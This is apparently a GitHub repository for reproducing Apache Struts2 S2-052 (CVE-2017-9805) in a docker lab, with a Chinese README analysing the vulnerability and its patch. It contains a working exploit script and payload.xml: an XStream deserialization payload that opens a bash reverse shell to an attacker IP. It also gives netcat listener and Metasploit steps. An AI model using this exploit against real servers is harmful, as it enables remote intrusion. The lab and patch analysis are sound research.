├── .gitignore ├── LICENSE ├── README.md ├── dockerfile ├── exploit.py ├── payload.xml └── src ├── apache-tomcat-8.0.46.tar.gz ├── burp.png ├── nc.png ├── struts.zip └── tomcat.png /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Vancir 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Apache Struts2 S2-052(CVE-2017-9805)远程代码执行漏洞 2 | 3 | ## 0x00 漏洞描述 4 | 5 | `Apache Struts`是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级`Java Web`应用的开源MVC框架。 6 | 7 | `Struts2`是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,`Struts2`作为控制器(Controller)来建立模型与视图的数据交互 8 | 9 | 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的`REST`插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。 10 | 11 | Github项目地址: [Vancir/s2-052-reproducing](https://github.com/Vancir/s2-052-reproducing) 12 | 13 | ## 0x01 漏洞影响 14 | 15 | 启用Struts REST插件并使用XStream组件对XML进行反序列操作时,未对数据内容进行有效验证,可被攻击者进行远程代码执行攻击(RCE)。 16 | 17 | 实际场景中存在一定局限性,需要满足一定条件(如要求jdk版本较新),非struts本身默认开启的组件。 18 | 19 | ### 影响版本 20 | 21 | * Version 2.5.0 to 2.5.12 22 | * Version 2.1.2 to 2.3.33 23 | 24 | ## 0x02 环境搭建 25 | 26 | * Ubuntu 14.04.5 27 | * JDK 8u151 28 | * Struts 2.5.12 29 | * Apache Tomcat 8.0.46 30 | 31 | 通过建立docker容器来搭建实验环境,保证复现过程的安全性和便 32 | 携性。在docker环境中部署好Apache Tomcat,Struts 2以及Java等基础环境。 33 | 34 | * 运行以下命令拉取docker镜像 35 | 36 | ``` bash 37 | sudo -s # docker 需要以root身份运行 38 | docker pull vancir/s2-052:2.5.12 # 从docker cloud上拉取仓库vancir/s2-052(struts2版本为2.5.12)到本地 39 | ``` 40 | 41 | * 或使用dockerfile手动生成docker镜像 42 | 43 | 由于`JDK 8u151`文件较大,因此首先需要使用者从[Oracle官网](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)下载并移动到`src`文件夹下(md5sum: `774d8cb584d9ebedef8eba9ee2dfe113` jdk-8u151-linux-x64.tar.gz)。 44 | 45 | 然后切换到dockerfile文件所在路径,运行以下命令 46 | 47 | ``` bash 48 | docker build -t="vancir/s2-052:2.5.12" . 49 | ``` 50 | 51 | * 创建并运行docker容器 52 | 53 | ``` bash 54 | docker run --name demo -d -p 80:8080 vancir/s2-052:2.5.12 55 | ``` 56 | 57 | `--name`选项设置docker容器的名称为demo,`-d`选项设置容器在后台运行,`-p`选项设置容器内8080端口映射为本地的80端口,`vancir/s2-052:2.5.12`是我们的docker镜像 58 | 59 | docker容器运行完成后,访问`http://localhost`观察到如下页面,即完成实验环境的搭建步骤。 60 | 61 | ![tomcat.png](/src/tomcat.png) 62 | 63 | ## 0x03 漏洞攻击复现 64 | 65 | ### 使用burpsuite直接发送恶意xml 66 | 67 | 接下来我们就要使用burpsuite发送恶意xml给服务器并反弹一个shell。 68 | 69 | 首先打开`burp suite`(需到[官网](https://portswigger.net/burp/freedownload)下载安装),切换到`Repeater`选项卡 70 | 71 | 将`payload.xml`里的内容全部复制粘贴到`Request`内容框中,并设置右上角的`Target`为`127.0.0.1:80` 72 | 73 | 这里需要对`payload.xml`的以下内容进行改动,以保证服务器反弹的shell能被我们接收到。 74 | 75 | ``` xml 76 | bash -i >& /dev/tcp/10.30.178.227/8001 0>&1 77 | ``` 78 | 79 | 这条命令为我们反弹一个shell回来。你需要将`10.30.178.227`设置为你本机的IP,`8001`是反弹到你本机的端口号 80 | 81 | ![burp.png](/src/burp.png) 82 | 83 | 打开终端,使用`NetCat`监听本地端口`8001` 84 | 85 | ``` bash 86 | nc -l -p 8001 87 | ``` 88 | 89 | 现在`NetCat`正在监听本机的8001端口,我们点击`burp suite`左上方的`Go`按钮提交request,服务器会返回一个responce,同时我们也监听到了一个shell 90 | 91 | ![nc.png](/src/nc.png) 92 | 93 | 如图,我们获取了一个root身份的shell,通过shell我们可以执行任意指令(如图`cat /etc/passwd`). 至此漏洞攻击复现完毕。 94 | 95 | ### 运行python脚本实现攻击 96 | 97 | 编写好了一个[python脚本](./exploit.py)以供更便捷地复现攻击过程 98 | 99 | ``` bash 100 | nc -l -p 8001 101 | # Use: python exploit.py 102 | python exploit.py 10.30.178.227 8001 103 | ``` 104 | 105 | ### 使用Metasploit模块进行攻击 106 | 107 | ``` bash 108 | msf > use exploit/multi/http/struts2_rest_xstream 109 | msf exploit(struts2_rest_xstream) > show targets 110 | ...targets... 111 | msf exploit(struts2_rest_xstream) > set TARGET 112 | msf exploit(struts2_rest_xstream) > show options 113 | ...show and set options... 114 | msf exploit(struts2_rest_xstream) > exploit 115 | ``` 116 | 117 | > Todo: Wireshark观察攻击过程 118 | 119 | ## 0x04 漏洞分析 120 | 121 | 从`Apache Struts`的一个镜像站点下载`Apache Struts 2.5.12`的源码包进行分析: [struts-2.5.12-src.zip](https://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-src.zip) 122 | 123 | 在`struts-plugins.xml`中的`bean`标签根据`Content-Type`进行分类,并对各类唯一指定了一个`Handler`. 124 | 125 | ``` xml 126 | 127 | 128 | ``` 129 | 130 | `ContentTypeHandler`将对应类型的请求数据分配给指定的子类进行处理,针对`xml`则是默认指定用`XStreamHandler`进行处理,这意味着使用REST插件就会存在`XStreamHandler`的反序列化漏洞。我们查看源码分析它是如何进行处理的 131 | 132 | ``` java 133 | // filepath: src/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java 134 | 135 | public class XStreamHandler implements ContentTypeHandler { 136 | 137 | public String fromObject(Object obj, String resultCode, Writer out) throws IOException { 138 | if (obj != null) { 139 | XStream xstream = createXStream(); 140 | xstream.toXML(obj, out); 141 | } 142 | return null; 143 | } 144 | 145 | public void toObject(Reader in, Object target) { 146 | XStream xstream = createXStream(); 147 | xstream.fromXML(in, target); 148 | } 149 | 150 | protected XStream createXStream() { 151 | return new XStream(); 152 | } 153 | 154 | public String getContentType() { 155 | return "application/xml"; 156 | } 157 | 158 | public String getExtension() { 159 | return "xml"; 160 | } 161 | } 162 | ``` 163 | 164 | 可见,在`marshal`和`unmarshal`过程中,`XStreamHandler`未能对请求的XML数据进行校验和检查,可能导致Java反序列化漏洞 165 | 166 | 再看`ContentTypeInterceptor.java`,代码首先使用`getHandlerForRequest`方法(Gets the handler for the request by looking at the request content type and extension)对请求的xml获取`XStreamHandler` 167 | 168 | ``` java 169 | // filepath: src/plugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeInterceptor.java 170 | public String intercept(ActionInvocation invocation) throws Exception { 171 | HttpServletRequest request = ServletActionContext.getRequest(); 172 | ContentTypeHandler handler = selector.getHandlerForRequest(request); 173 | 174 | Object target = invocation.getAction(); 175 | if (target instanceof ModelDriven) { 176 | target = ((ModelDriven)target).getModel(); 177 | } 178 | 179 | if (request.getContentLength() > 0) { 180 | InputStream is = request.getInputStream(); 181 | InputStreamReader reader = new InputStreamReader(is); 182 | handler.toObject(reader, target); 183 | } 184 | return invocation.invoke(); 185 | } 186 | ``` 187 | 188 | 其中的关键漏洞代码在以下: 189 | ``` java 190 | InputStream is = request.getInputStream(); 191 | InputStreamReader reader = new InputStreamReader(is); 192 | handler.toObject(reader, target); 193 | ``` 194 | 195 | 这里未有对请求数据进行校验和检查,导致了`XStreamHandler`在反序列化传入的xml时造成了远程代码执行。 196 | 197 | 至于如何构造XML数据导致命令执行,详情查看这篇论文: [marshalsec.pdf](https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf) 198 | 199 | 我们可以使用论文作者开源的`marshalsec`工具来生成payload。 200 | 201 | ## 0x05 补丁分析 202 | 203 | 从`Apache Struts`的一个镜像站点下载`Apache Struts 2.5.13`的源码包进行分析: [struts-2.5.13-src.zip](https://archive.apache.org/dist/struts/2.5.13/struts-2.5.13-src.zip),同时结合官方发布补丁的commit记录进行分析: [链接](https://github.com/apache/struts/commit/19494718865f2fb7da5ea363de3822f87fbda264) 204 | 205 | 206 | 我们可以观察到,在新发布的版本2.5.13中`org.apache.struts2.rest.handler`这个包新增了几个文件: `AllowedClassNames.java`, `AllowedClasses.java`, `AbstractContentTypeHandler.java`和`XStreamPermissionProvider.java` 207 | 208 | 209 | 在`XStreamHandler`类中修改了`createXStream`方法同时新加了几个方法. 210 | 211 | ``` java 212 | protected XStream createXStream(ActionInvocation invocation) { 213 | XStream stream = new XStream(); 214 | LOG.debug("Clears existing permissions"); 215 | stream.addPermission(NoTypePermission.NONE); 216 | 217 | LOG.debug("Adds per action permissions"); 218 | addPerActionPermission(invocation, stream); 219 | 220 | LOG.debug("Adds default permissions"); 221 | addDefaultPermissions(invocation, stream); 222 | return stream; 223 | } 224 | ``` 225 | 226 | 新添代码的主要作用是将`xml`中的数据白名单化,把`Collection`和`Map`,一些基础类,时间类放在白名单中,这样就能阻止`XStream`反序列化的过程中带入一些有害类。 227 | 228 | ``` java 229 | private void addPerActionPermission(ActionInvocation invocation, XStream stream) { 230 | Object action = invocation.getAction(); 231 | if (action instanceof AllowedClasses) { 232 | Set> allowedClasses = ((AllowedClasses) action).allowedClasses(); 233 | stream.addPermission(new ExplicitTypePermission(allowedClasses.toArray(new Class[allowedClasses.size()]))); 234 | } 235 | if (action instanceof AllowedClassNames) { 236 | Set allowedClassNames = ((AllowedClassNames) action).allowedClassNames(); 237 | stream.addPermission(new ExplicitTypePermission(allowedClassNames.toArray(new String[allowedClassNames.size()]))); 238 | } 239 | if (action instanceof XStreamPermissionProvider) { 240 | Collection permissions = ((XStreamPermissionProvider) action).getTypePermissions(); 241 | for (TypePermission permission : permissions) { 242 | stream.addPermission(permission); 243 | } 244 | } 245 | } 246 | 247 | protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) { 248 | stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()})); 249 | if (invocation.getAction() instanceof ModelDriven) { 250 | stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()})); 251 | } 252 | stream.addPermission(NullPermission.NULL); 253 | stream.addPermission(PrimitiveTypePermission.PRIMITIVES); 254 | stream.addPermission(ArrayTypePermission.ARRAYS); 255 | stream.addPermission(CollectionTypePermission.COLLECTIONS); 256 | stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class})); 257 | } 258 | ``` 259 | 260 | 另外,针对官方给出的临时缓解措施 `` 这是针对action的后缀进行限定,而是否使用`XStream`进行处理则取决于`Content-Type`是否含有`xml`。如果`Content-Type`中含有`xml`,则依旧会交给`XStream`处理。因此该临时缓解措施完全无效。 261 | 262 | 针对补丁后的版本,漏洞的防御过程实验。可以拉取docker仓库中的`vancir/s2-052:2.5.13`并依照之前的步骤重新操作 263 | 264 | ``` bash 265 | sudo -s 266 | docker pull vancir/s2-052:2.5.13 267 | ``` 268 | 269 | ## 0x06 Struts 2过往漏洞情况 270 | 271 | Apache Struts 2漏洞频发,过往有大量的该产品的漏洞预警。安全分析人士甚至编写有Struts2全漏洞检测脚本。通过对往期Struts2漏洞,分析Struts2常见的攻击方式并总结Struts2的一些修复建议。 272 | 273 | > Todo: 搜集过往的一些漏洞情况 274 | 275 | ## 0x07 S2-052 修复建议 276 | 277 | 在新版本中增加了`XStreamPermissionProvider`,并且对原先有问题的`createXStream`进行重写,增加了校验,拒绝不安全的类执行 278 | 279 | * 升级至`Struts 2.5.13`或`Struts 2.3.34`版本 280 | * 在不使用时移除移除`Struts REST`插件 281 | 282 | ## 0xFF 参考资料 283 | 1. [Using QL to find a remote code execution vulnerability in Apache Struts (CVE-2017-9805)](https://lgtm.com/blog/apache_struts_CVE-2017-9805) 284 | 285 | 2. [Apache Struts 2 Documentation - Security Bulletins - S2-052](https://cwiki.apache.org/confluence/display/WW/S2-052) 286 | 287 | 3. [Metasploit Modules Related To CVE-2017-9805](https://www.rapid7.com/db/modules/exploit/multi/http/struts2_rest_xstream) 288 | 289 | 4. [Oracle Security Alert Advisory - CVE-2017-9805](http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html) 290 | 291 | -------------------------------------------------------------------------------- /dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:14.04 2 | MAINTAINER Vancir "vancirprince@gmail.com" 3 | 4 | ENV DEBIAN_FRONTEND noninteractive 5 | 6 | # set jdk environment 7 | ENV JAVA_HOME /usr/local/jdk1.8.0_151 8 | ENV JRE_HOME $JAVA_HOME/jre 9 | ENV CLASSPATH .:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib 10 | ENV PATH $PATH:$JAVA_HOME/bin:$JRE_HOME/bin 11 | 12 | # set ubuntu source list 13 | RUN echo "deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse\ndeb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse\ndeb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse\ndeb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse\ndeb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse\ndeb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse" > /etc/apt/sources.list 14 | 15 | # update and install some tools 16 | RUN apt-get update -y \ 17 | && apt-get install unzip\ 18 | && apt-get install net-tools 19 | 20 | # extract zip and gzip file 21 | WORKDIR /tmp 22 | COPY ./src/apache-tomcat-8.0.46.tar.gz /tmp/ 23 | COPY ./src/jdk-8u151-linux-x64.tar.gz /tmp/ 24 | COPY ./src/struts.zip /tmp/ 25 | RUN tar -xz -f jdk-8u151-linux-x64.tar.gz -C /usr/local/ 26 | RUN tar -xz -f apache-tomcat-8.0.46.tar.gz -C /usr/local/ 27 | RUN unzip struts.zip -d /usr/local/apache-tomcat-8.0.46/webapps 28 | 29 | # set REST web program demo 30 | RUN mv /usr/local/apache-tomcat-8.0.46/webapps/struts-2.5.12/apps/struts2-rest-showcase.war /usr/local/apache-tomcat-8.0.46/webapps 31 | 32 | EXPOSE 8080 33 | 34 | # start our tomcat 35 | CMD ["/usr/local/apache-tomcat-8.0.46/bin/catalina.sh", "run"] 36 | 37 | 38 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | # Struts CVE-2017-9805 Exploit 4 | import requests 5 | import sys 6 | 7 | def exploration(ip, port): 8 | 9 | exploit = ''' 10 | 11 | 12 | 13 | 0 14 | 15 | 16 | 17 | 18 | 19 | false 20 | 0 21 | 22 | 23 | 24 | 25 | 26 | bash 27 | -c 28 | bash -i >& /dev/tcp/'''+ ip +'''/'''+ port +''' 0>&1 29 | 30 | false 31 | 32 | 33 | 34 | 35 | java.lang.ProcessBuilder 36 | start 37 | 38 | 39 | foo 40 | 41 | foo 42 | 43 | 44 | 45 | 46 | 47 | false 48 | 0 49 | 0 50 | false 51 | 52 | false 53 | 54 | 55 | 56 | 0 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | ''' 67 | 68 | 69 | url = "http://127.0.0.1/struts2-rest-showcase/orders/3/edit" 70 | 71 | headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0', 72 | 'Content-Type': 'application/xml'} 73 | 74 | request = requests.post(url, data=exploit, headers=headers) 75 | 76 | if len(sys.argv) < 3: 77 | print ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE') 78 | print ('[*] Use: python exploit.py ') 79 | print ('[*] Example: python exploit.py 10.30.178.227 8001') 80 | exit(0) 81 | else: 82 | exploration(sys.argv[1], sys.argv[2]) -------------------------------------------------------------------------------- /payload.xml: -------------------------------------------------------------------------------- 1 | POST /struts2-rest-showcase/orders HTTP/1.1 2 | Host: localhost 3 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0 4 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 6 | Content-Type: application/xml 7 | Content-Length: 2468 8 | Cookie: JSESSIONID=A82EAA2857Aq1FFAF61FF24A1FBB4A3C7 9 | Connection: close 10 | Upgrade-Insecure-Requests: 1 11 | 12 | 13 | 14 | 15 | 0 16 | 17 | 18 | 19 | 20 | 21 | false 22 | 0 23 | 24 | 25 | 26 | 27 | 28 | bash 29 | -c 30 | bash -i >& /dev/tcp/10.30.178.227/8001 0>&1 31 | 32 | false 33 | 34 | 35 | 36 | 37 | java.lang.ProcessBuilder 38 | start 39 | 40 | 41 | foo 42 | 43 | foo 44 | 45 | 46 | 47 | 48 | 49 | false 50 | 0 51 | 0 52 | false 53 | 54 | false 55 | 56 | 57 | 58 | 0 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /src/apache-tomcat-8.0.46.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vancir/s2-052-reproducing/198dd74a89d39f425ad070f9fd081ad1c8130933/src/apache-tomcat-8.0.46.tar.gz -------------------------------------------------------------------------------- /src/burp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vancir/s2-052-reproducing/198dd74a89d39f425ad070f9fd081ad1c8130933/src/burp.png -------------------------------------------------------------------------------- /src/nc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vancir/s2-052-reproducing/198dd74a89d39f425ad070f9fd081ad1c8130933/src/nc.png -------------------------------------------------------------------------------- /src/struts.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vancir/s2-052-reproducing/198dd74a89d39f425ad070f9fd081ad1c8130933/src/struts.zip -------------------------------------------------------------------------------- /src/tomcat.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vancir/s2-052-reproducing/198dd74a89d39f425ad070f9fd081ad1c8130933/src/tomcat.png --------------------------------------------------------------------------------